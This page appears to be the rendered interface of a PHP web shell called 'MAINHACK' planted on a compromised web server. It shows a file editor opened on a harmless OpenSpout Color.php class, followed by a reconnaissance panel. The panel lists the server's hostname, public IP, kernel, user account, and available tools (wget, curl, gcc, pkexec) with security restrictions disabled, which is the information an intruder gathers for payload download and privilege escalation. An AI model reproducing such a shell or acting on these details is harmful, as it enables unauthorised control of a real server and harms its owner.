[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Color.php
<?php namespace OpenSpout\Common\Entity\Style; use OpenSpout\Common\Exception\InvalidColorException; /** * This class provides constants and functions to work with colors. */ abstract class Color { /** Standard colors - based on Office Online */ public const BLACK = '000000'; public const WHITE = 'FFFFFF'; public const RED = 'FF0000'; public const DARK_RED = 'C00000'; public const ORANGE = 'FFC000'; public const YELLOW = 'FFFF00'; public const LIGHT_GREEN = '92D040'; public const GREEN = '00B050'; public const LIGHT_BLUE = '00B0E0'; public const BLUE = '0070C0'; public const DARK_BLUE = '002060'; public const PURPLE = '7030A0'; /** * Returns an RGB color from R, G and B values. * * @param int $red Red component, 0 - 255 * @param int $green Green component, 0 - 255 * @param int $blue Blue component, 0 - 255 * * @return string RGB color */ public static function rgb($red, $green, $blue) { self::throwIfInvalidColorComponentValue($red); self::throwIfInvalidColorComponentValue($green); self::throwIfInvalidColorComponentValue($blue); return strtoupper( self::convertColorComponentToHex($red). self::convertColorComponentToHex($green). self::convertColorComponentToHex($blue) ); } /** * Returns the ARGB color of the given RGB color, * assuming that alpha value is always 1. * * @param string $rgbColor RGB color like "FF08B2" * * @return string ARGB color */ public static function toARGB($rgbColor) { return 'FF'.$rgbColor; } /** * Throws an exception is the color component value is outside of bounds (0 - 255). * * @param int $colorComponent * * @throws \OpenSpout\Common\Exception\InvalidColorException */ protected static function throwIfInvalidColorComponentValue($colorComponent) { if (!\is_int($colorComponent) || $colorComponent < 0 || $colorComponent > 255) { throw new InvalidColorException("The RGB components must be between 0 and 255. Received: {$colorComponent}"); } } /** * Converts the color component to its corresponding hexadecimal value. * * @param int $colorComponent Color component, 0 - 255 * * @return string Corresponding hexadecimal value, with a leading 0 if needed. E.g "0f", "2d" */ protected static function convertColorComponentToHex($colorComponent) { return str_pad(dechex($colorComponent), 2, '0', STR_PAD_LEFT); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.6 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002